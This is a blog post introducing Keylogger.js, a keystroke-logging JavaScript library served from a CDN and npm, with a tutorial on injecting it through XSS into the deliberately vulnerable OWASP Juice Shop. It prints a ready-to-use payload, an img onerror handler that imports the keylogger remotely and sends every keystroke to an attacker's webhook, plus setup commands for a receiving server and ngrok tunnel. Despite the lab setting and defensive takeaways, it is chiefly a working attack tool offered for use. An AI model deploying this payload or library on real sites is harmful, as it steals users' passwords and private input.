Keylogger.js - How to Exploit XSS Using Keylogging

LATER EDIT: I’ve added a working webhook on my personal website -https://www.mihnea.dev/keylogger-js

In the ever-evolving landscape of cybersecurity, XSS still poses a significant threat to web applications. I myself have reported numerous XSS vulnerabilities in various applications. That is why I decided to build Keylogger.js - a lightweight JavaScript library designed for ethical hacking and security research.

Keylogger.js enables you to inject pre-compiled JavaScript code directly from a CDN, making it easy to deploy in XSS scenarios. Once injected, it captures user keystrokes in real-time and transmits them securely to a designated webhook for analysis.

Understanding Cross-Site Scripting (XSS)

If' you’re reading this post, I assume you are already familiar with what XSS means or how it works. However, blogging best practices require that I include a short definition. Hence, XSS is a web security vulnerability that allows attackers to inject malicious scripts into webpages viewed by other users. This type of attack is often used to steal sensitive data, impersonate users, or manipulate site content. Despite being well-documented, XSS remains a prevalent threat due to poor input validation and inadequate security measures in web applications.

What is a Keylogger?

Just like with XSS, I believe you already know what a keylogger is or how it works if you’re reading this post. But for the sake of completeness, a keylogger is a tool or software designed to record the keystrokes made by a user.

Typically used for malicious purposes like stealing passwords or sensitive data, keyloggers can also serve legitimate purposes in security research, ethical hacking, and system monitoring.

In this context, Keylogger.js provides an ethical approach to logging keystrokes, enabling developers and researchers to better understand potential vulnerabilities without engaging in malicious activity.

How to Get Started with Keylogger.js

Getting started with Keylogger.js is as easy as adding a script tag to your project. I’ve also published an NPM package (@mihnea.dev/keylogger.js), which should work with technologies such as Next or React.

To import it as a script:

<script>
    import Keylogger from 'https://unpkg.com/@mihnea.dev/keylogger.js/dist/index.js';
    const keylogger = new Keylogger('https://your-webhook-url.com', false);
    console.log('Keylogger initialized:', keylogger);
</script>

To use it with React:

Install the package:
```
 npm i @mihnea.dev/keylogger.js
```

Use it inside your component:

 import Keylogger from "@mihnea.dev/keylogger.js/dist/index.js";
 export default function Home() {
     useEffect(() => {
         const _keylogger: Keylogger = new Keylogger("https://webhook-url.ngrok-free.app", false);
         console.log(_keylogger);
     }, []);
   return (<></>)
 }

How to Exploit XSS using Keylogger.js

For the purpose of this tutorial, I am going to demonstrate how to use Keylogger.js, Python, and ngrok to exploit a vulnerable website. The objective is to showcase how XSS vulnerabilities can be used to inject Keylogger.js and capture user keystrokes in real-time. This is strictly for ethical hacking and educational purposes - always ensure you have permission before testing any application!

Prerequisites

Basic Knowledge of XSS: Familiarity with how Cross-Site Scripting works.
Keylogger.js: Access to the Keylogger.js script (available via its CDN).
Python: Installed on your machine for setting up the webhook server.
ngrok: For exposing your local server to the internet.
Docker: Installed on your machine to run the OWASP Juice Shop container (a vulnerable web application to practice on).

Setup Testing Environment

Run juice-shop:

 # Run Juice-Shop using Docker and expose on localhost:80
 docker run --rm -p 80:3000 bkimminich/juice-shop

Start the webserver:

 # Clone Keylogger.js
 git clone git@github.com:mihneamanolache/keylogger.js.git
 # Change directory
 cd keylogger.js
 # Start web-server using python
 python3 examples/server.py

Expose webhook using ngrok:

 # Expose port 3000 (default in examples/server.py) 
 ngrok http 3000

Hacking Juice Shop using Keylogger.js

Now that we’ve set up the environment, all we need to do is identify a vulnerable input field in Juice Shop and inject Keylogger.js. Juice Shop is intentionally designed with vulnerabilities, making it the perfect safe space to test ethical hacking techniques. Follow these steps to exploit the XSS vulnerability using Keylogger.js:

Identify a Vulnerable Field
Open your browser, go to localhost:80 and navigate through Juice Shop and find an input field susceptible to XSS. For example, the search field often allows script injection.
Craft the Payload
I’ve included a couple of payloads in ./examples/PAYLOADS.md within the Keylogger.js repository. These payloads are tailored for different scenarios and offer flexibility depending on the target application's behavior. For today’s exercise, I will use the following payload, designed to inject Keylogger.js and configure it to send keystroke data to our webhook server:
```
 
 <img src="-" onerror="import('https://unpkg.com/@mihnea.dev/keylogger.js/dist/index.js').then(module => { 
     const Keylogger = module.default; 
     const keylogger = new Keylogger('https://your-webhook-url.com', false); 
     console.log('Keylogger started:', keylogger); 
 });" />
```
NOTE: Keylogger webhook should be the one provided by ngrok:
Inject Keylogger.js Using XSS
Once you've identified a vulnerable input, inject XSS payload.

If you’ve used the search field in Juice Shop, the page should display a simple message indicating "No results found." However, when inspecting the console output, you’ll see that Keylogger.js has successfully been initialised and started.

Now, to test Keylogger.js, simply type something in any input field on the Juice Shop page, such as the search bar, and press Enter. The keystrokes you type will be captured by Keylogger.js and sent to the webhook server you set up earlier.

Conclusion

The exercise of using Keylogger.js to exploit XSS vulnerabilities highlights the serious risks posed by insecure web applications. This demonstration underscores the importance of understanding how vulnerabilities like XSS work, not just for attackers but more importantly for defenders.

Key Takeaways

The Power of XSS Exploitation
XSS vulnerabilities can be leveraged to inject malicious scripts like Keylogger.js, enabling attackers to capture sensitive user inputs such as passwords or personal information. Even seemingly minor input fields can become critical points of compromise if not properly secured.
The Role of Tools Like Keylogger.js
Keylogger.js provides an ethical way to demonstrate the potential impact of XSS. By capturing and transmitting keystrokes, it offers security researchers and developers a hands-on way to study and understand these vulnerabilities in a controlled environment.
The Importance of Secure Coding Practices
The effectiveness of this demonstration highlights the need for robust input validation and sanitization in web applications. Implementing security measures such as escaping special characters, enabling Content Security Policies (CSP), and using frameworks with built-in XSS protection can mitigate these risks.
Ethical Hacking as a Learning Tool
Tools like Keylogger.js, when used responsibly, serve as excellent educational resources for ethical hackers, developers, and security professionals. They not only reveal vulnerabilities but also inspire improvements in application security.

Final Thoughts

Cybersecurity is a continuous battle of identifying and addressing vulnerabilities before attackers exploit them. By leveraging tools like Keylogger.js, we can bridge the gap between theoretical knowledge and practical application, ultimately creating more secure digital environments. However, it’s crucial to emphasize that these techniques should only be used in authorized settings, such as test environments or with explicit permission.

As developers, researchers, or security enthusiasts, we all have a role to play in making the web safer. Let this serve as a reminder to always prioritize security in every stage of development and testing.